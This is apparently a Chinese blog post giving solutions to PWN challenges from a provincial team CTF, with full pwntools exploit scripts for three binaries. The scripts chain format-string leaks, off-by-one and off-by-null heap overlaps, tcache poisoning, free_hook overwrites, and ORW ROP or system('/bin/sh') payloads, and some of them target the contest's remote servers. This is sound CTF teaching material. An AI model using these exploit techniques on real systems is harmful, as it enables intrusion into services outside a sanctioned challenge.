广东省强网杯团队赛PWN方向题解

比赛只出了一道pwn,摸了。题目链接,提取码:hi98

GirlFriend

程序分析

ida打开文件后发现函数体内啥也没有。

汇编中有call $+5这样一条指令,类似于重定位,这对我们来说肯定是干扰,我们需要patch修复一下。

修复方法参考如下

就是把call $+5全都改成jmp 【下条指令地址加上其偏移】,修复后就可以看见函数代码了,程序中有很多需要修复的地方,同样的方法改一下就好。

全都修复好就可以正式分析了,程序逻辑很简单,漏洞点主要有两处,格式化字符串和off by one,当然还有个隐藏的后门功能,可以泄露堆地址。

利用思路

我遇到的格式化字符串在堆题中大部分作用就是辅助泄露libc,同样这里我们也可以用来泄露libc

程序开了沙箱,只能orw了,经典利用free_hook+setcontext来读取flag

调试过程

libc泄露

常规泄露的话就是用%p来打印栈中数据,还可以用%7$p指定参数位置,但程序开了FORTIFY防护,不能跳跃使用%N$这种格式的输入。也就是说如果要使用 %3$p,则必须同时使用 %1$p%2$p

于是去搜索了一下printf_chk格式化字符串相关的利用方法,发现还有%a泄露libc的方法(第一次见)。

但他的输出格式有点特别,需要匹配一下再接收,下个断点gdb动态调一下就可以得到libc基址了。

堆地址泄露

这个直接调用程序中的后门函数即可

offbyone构造overlap chunk

主要时间花费在这部分,程序实际的功能只有一个,但这个功能是用realloc实现的,为什么不用malloc要用realloc,肯定有点猫腻。

他的基础功能是改变mem_ptr所指内存区域的大小为new_size长度。这里有几种不同的情况

  1. 当size为0,这时就相当于free()函数,同时返回值为null
  2. 当指针为0,size大于0,相当于malloc函数
  3. size小于等于原来的size,则在原先的基础上缩小,多余的free掉
  4. size大于原来的size,如果有空间就原基础扩充,空间不足则分配新的内存,将内容复制到新的内存中,然后再将原来的内存free掉

off by one,常见的手法就是改堆块的size构造出堆块重叠了。

布局也不是很复杂,如下即可,通过编辑chunk0溢出到chunk1的size位,将chunk1的size改成chunk1+chunk2的size总和。为了方便起见,我是选择了让chunk1的size为0x101chunk2的size为0xAA,这样的话,只需将chunk1的size低位字节改成chunk2的size大小即可。

1
2
3
4
add(0x300, 'aaa')
add(0x230, 'aaa')
add(0x138, 'aaa')
re(0)

再申请一个0x138大小的chunk就可以拿到chunk0了,进而修改chunk1的size

1
2
add(0x138, 'a'*0x138 + '\xd0')
re(0)

这时候再把chunk1申请过来然后释放掉,chunk1就进入0x1d0tcache bin里了。

1
2
add(0xf0, 'bbb')
re(0)

那么接下来把这个0x1d0overlaped chunk申请下来就可以修改chunk2fd

后面的操作也都是模板了,不多赘述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

context.log_level = 'debug'
binary = './girlfriend'
elf = ELF(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc.so.6')
local = 1
if local:
p = process(binary)
else:
p = remote('123.60.63.90', 49156)

def add(size, content):
p.sendlineafter('>> ', '1')
# pause()
p.sendlineafter('size\n', str(size))
p.sendafter('data\n', content)

def re(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size\n', str(size))

def show():
p.sendlineafter('>> ', '4')

def exit():
p.sendlineafter('>> ', '3')
gdb.attach(p)#, 'b *$rebase(0xf1c)')
p.sendlineafter('? \n\n\n', '78')
p.sendafter('reason\n', '%a')
p.recvuntil('0x0.0')
libc_base = int(p.recvline()[:12], 16) - libc.sym['_IO_2_1_stdout_'] - 131
success('libc_base -> {}'.format(hex(libc_base)))
setcontext = libc_base + libc.sym['setcontext'] + 0x35
free_hook = libc_base + libc.sym['__free_hook']
exit()

p.sendlineafter('? \n\n\n', '89')
add(0x300, 'aaa')
show()
heap_base = u64(p.recv(6).ljust(8, b'\x00'))
success('heap_base -> {}'.format(hex(heap_base)))
flag_path = heap_base + 0x1d8
add(0x230, 'aaa')
add(0x138, 'aaa')
re(0)

add(0x138, 'a'*0x138 + '\xd0')
re(0)
add(0xf0, 'bbb')
re(0)

pop_rdi_ret = libc_base + 0x215bf
pop_rsi_ret = libc_base + 0x23eea
pop_rdx_ret = libc_base + 0x1b96
pop_rax_ret = libc_base + 0x43ae8
ret = libc_base + 0x8aa
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
syscall = Read + 15

orw = p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
payload = orw + './flag'.ljust(8, '\x00')
payload = 'a'*0x10 + payload

add(0x1c0, payload.ljust(0xf8, '\x00') + p64(0xb1) + p64(free_hook))
re(0)

add(0xc0, 'a'*0x10)
re(0)
add(0xc0, p64(setcontext).ljust(0xa0, 'a') + p64(heap_base+0x150) + p64(ret))
# pause()
re(0)
p.interactive()

pwn_c4

这个题ida一打开就有关掉的冲动,完全逆不动。但结合题目的描述:编辑器/uaf

猜测这个题实现了一个小型的C语言编译器,可以编译我们输入的C语言代码,同时可以从ida中看到如下的字符串,应该就是提示我们可以用以下关键字。

1
buf = "char else enum if int return sizeof while open read close printf malloc free memset memcmp exit void main";

google搜索pwn c4可以也可以搜到历史有相关的考点。

https://xuanxuanblingbling.github.io/ctf/pwn/2020/05/10/boom/

利用思路

通过执行C语言代码拿到程序shell

调试过程

先写个程序试试怎么用,经典hello world!,发现确实有输出。

再来个打印堆地址看看,我申请了一个块超级大的堆块,使用mmap系统调用,地址应该是跟libc接近,也同样可以打印出来,这也就验证了我们前面的猜想。

接下来就是写程序拿shell了,libc可以通过计算那个mmap出来的堆地址之间的偏移来获得,打远程的话就加载远程的使用的那个libc计算这个偏移。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context.log_level = 'debug'

binary = './c4'
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF(libc-2.27.so)
p = remote('')
elf = ELF(binary)

# gdb.attach(p, 'b exit')
payload = '''
void main()
{
int libc_base, system, free_hook;
libc_base = (int)malloc(0x21000) - 0x498010;
printf("libc_base -> %p", libc_base);
system = libc_base + 0x4f550;
free_hook = libc_base + 0x3ed8e8;
*(int*)free_hook = system;
free("/bin/sh");
}
'''
p.send(payload)
p.interactive()

T_S

比赛的时候就载在这里了,做题太心急了,没仔细观察,导致看了半天都没找到漏洞点在哪,这个题的edit函数也用重定位藏了一段代码,把call $+5修复一下就好。害,阴间出题人。

程序分析

修复后的的代码如下

中间那个三层for循环也是个唬人的阴间操作,两两交换又还原,相当于啥也没干。重点是最后一个循环,遍历堆块的每一个字节,判断是否等于1,如果所有字节都等于1最后就有一个赋0操作,也就是off by null。撒花,直接套模板。

利用思路

利用off by null漏洞构造出overlap chunk,libc 2.29以上利用off by null需要绕过两个check,一个是向低地址合并的检测:

1
2
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

另一个是unlink的检测

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

prevsize是我们控制的,很好伪造,重点是绕过unlink的检查,程序有show功能,可以直接泄露堆地址,也就很容易绕过unlink的检测构造出overlapped chunk。

有了重叠的堆块就可以很愉快的操作了,通过unsorted bin的地址踩出_IO_2_1_stdout进而泄露libc,再就是改free_hook了。

调试过程

泄露堆地址

申请两个同样大小的堆块,再free掉,形成单链表,申请一个回来再show一下就可以拿到堆地址了。

1
2
3
4
5
6
add(0x10)	#0
add(0x10) #1
free(0)
free(1)
add(0x10) #0
show(0)

off by null

堆块布局如下,三个连续的chunk,这里的0,1,2并不与后面的exp堆块编号对应,只是简化描述而已。

上述布局有几个注意点的,为了绕过第一个检测,我们需要让pre_size等于chunk_size,chunk的size我们不好实际控制,所以再chunk0中构造一个fake_chunk,让这个fake_chunk的fake_size等于chunk0_size+chunk1_size-0x10。为了绕过第二个检测,需要让fake_fd和fake_bk指向它自己。并且同过off by null漏洞把chunk2的prev_inuse位置为0。

这些操作完成了,再free chunk2的时候,glibc就会根据prev_size找到fake_chunk,再进行unlink脱链操作。

下面为exp的chunk编号,0,1用来泄露堆地址了,与上述编号有出入。

1
2
3
4
5
6
7
8
9
add(0x100)  #2 工具堆块 伪造fake_chunk
add(0x78) #3 工具堆块 用来修改chunk4的prev_size和触发off by null漏洞
add(0x4f0) #4 工具堆块,为了让chunk进入unsorted bin
add(0x100) #5 避免top_chunk合并
add(0x78) #6 工具堆块 让tcahe bin链表的数量为正

edit(2, p64(0)+p64(0x100+0x81)+p64(heap_base+0x2e0)*2)
edit(3, '\x01'*0x78)
edit(3, b'a'*0x70 + p64(0x180))

然后把chunk4给free掉,就触发合并了。

1
free(4)

泄露libc

通过切割unsorted bin,把unsorted bin的地址链到tcache上,爆破一位,把unsorted bin的地址改成__IO_2_1_stdout_的地址。

为了调试方便可以关掉本地的地址随机化echo 0 > /proc/sys/kernel/randomize_va_space

1
2
3
4
5
free(6)
free(3)
add(0xf0) #3
add(0x10) #4
edit(4, p16(0xc6a0))

接下来把_IO_2_1_stdout_申请下来并修改成p64(0xfbad3887)+p64(0)*3 + p8(0),就可以泄露libc了。

1
2
3
add(0x78)   #6
add(0x78) #7
edit(7, p64(0xfbad3887)+p64(0)*3 + p8(0))

同样的,把free_hook链到tcache bin上,这次我用到了第一次泄露堆地址申请的小堆块。

1
2
3
free(0)
free(4)
edit(6, p64(free_hook))

再把free_hook申请下来,改成system的地址,接着free一块写着”/bin/sh\x00”字符串的堆块就能拿到shell了。

1
2
3
4
5
add(0x10)   #0
add(0x10) #4
edit(4, p64(system))
edit(1, '/bin/sh\x00')
free(1)

exp

本地调试版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

context.log_level = 'debug'
binary = './pwn'
elf = ELF(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc.so.6')
local = 1
if local:
p = process(binary)
else:
p = remote('123.60.63.28', 49156)


def add(size):
p.sendlineafter('>>\n', '1')
p.sendlineafter('length\n', str(size))

def free(index):
p.sendlineafter('>>\n', '3')
p.sendlineafter('idx:\n', str(index))

def edit(index, content):
p.sendlineafter('>>\n', '2')
p.sendlineafter('idx:\n', str(index))
p.sendafter('name:\n', content)

def show(index):
p.sendlineafter('>>\n', '4')
p.sendlineafter('idx:\n', str(index))

# gdb.attach(p)

add(0x10)
add(0x10)
free(0)
free(1)
add(0x10)
show(0)
p.recvuntil('Name:\n')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) & 0xfffffffff000
success('heap_base -> {}'.format(hex(heap_base)))
add(0x18)

add(0x100) #2
add(0x78) #3
add(0x4f0) #4
add(0x100) #5
add(0x78) #6

edit(2, p64(0)+p64(0x100+0x81)+p64(heap_base+0x2e0)*2)
edit(3, '\x01'*0x78)
edit(3, b'a'*0x70 + p64(0x180))
free(4) # offbynul

free(6)
free(3)
add(0xf0) #3
add(0x10) #4
edit(4, p16(0xc6a0))

add(0x78) #6
add(0x78) #7
edit(7, p64(0xfbad3887)+p64(0)*3 + p8(0))
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1eb980
success('libc_base -> {}'.format(hex(libc_base)))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

free(0)
free(4)
edit(6, p64(free_hook))

add(0x10) #0
add(0x10) #4
edit(4, p64(system))
edit(1, '/bin/sh\x00')
free(1)
p.interactive()

常规爆破版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

context.log_level = 'debug'
binary = './pwn'
elf = ELF(binary)

def add(size):
p.sendlineafter('>>\n', '1')
p.sendlineafter('length\n', str(size))

def free(index):
p.sendlineafter('>>\n', '3')
p.sendlineafter('idx:\n', str(index))

def edit(index, content):
p.sendlineafter('>>\n', '2')
p.sendlineafter('idx:\n', str(index))
p.sendafter('name:\n', content)

def show(index):
p.sendlineafter('>>\n', '4')
p.sendlineafter('idx:\n', str(index))

# gdb.attach(p)
def exp():
add(0x10)
add(0x10)
free(0)
free(1)
add(0x10)
show(0)
p.recvuntil('Name:\n')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) & 0xfffffffff000
success('heap_base -> {}'.format(hex(heap_base)))
add(0x18)

add(0x100) #2
add(0x78) #3
add(0x4f0) #4
add(0x100) #5
add(0x78) #6

edit(2, p64(0)+p64(0x100+0x81)+p64(heap_base+0x2e0)*2)
edit(3, '\x01'*0x78)
edit(3, b'a'*0x70 + p64(0x180))
free(4) # offbynul

free(6)
free(3)
add(0xf0) #3
add(0x10) #4
edit(4, p16(0xc6a0))

add(0x78) #6
add(0x78) #7
edit(7, p64(0xfbad3887)+p64(0)*3 + p8(0))
libc_base = u64(p.recvuntil('\x7f', timeout=1)[-6:].ljust(8, b'\x00')) - 0x1eb980
if libc_base < 0x7f0000000000:
raise "once again"
success('libc_base -> {}'.format(hex(libc_base)))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

free(0)
free(4)
edit(6, p64(free_hook))

add(0x10) #0
add(0x10) #4
edit(4, p64(system))
edit(1, '/bin/sh\x00')
free(1)
p.interactive()

if __name__ == '__main__':
while True:
try:
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('123.60.63.28', 49156)
libc = ELF('./libc-2.31.so')
exp()
break
except:
p.close()

BabyPwn

Bios,摸了,根本没看。队友搞了一天,最后还是卡住了,等wp出了再来复现


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!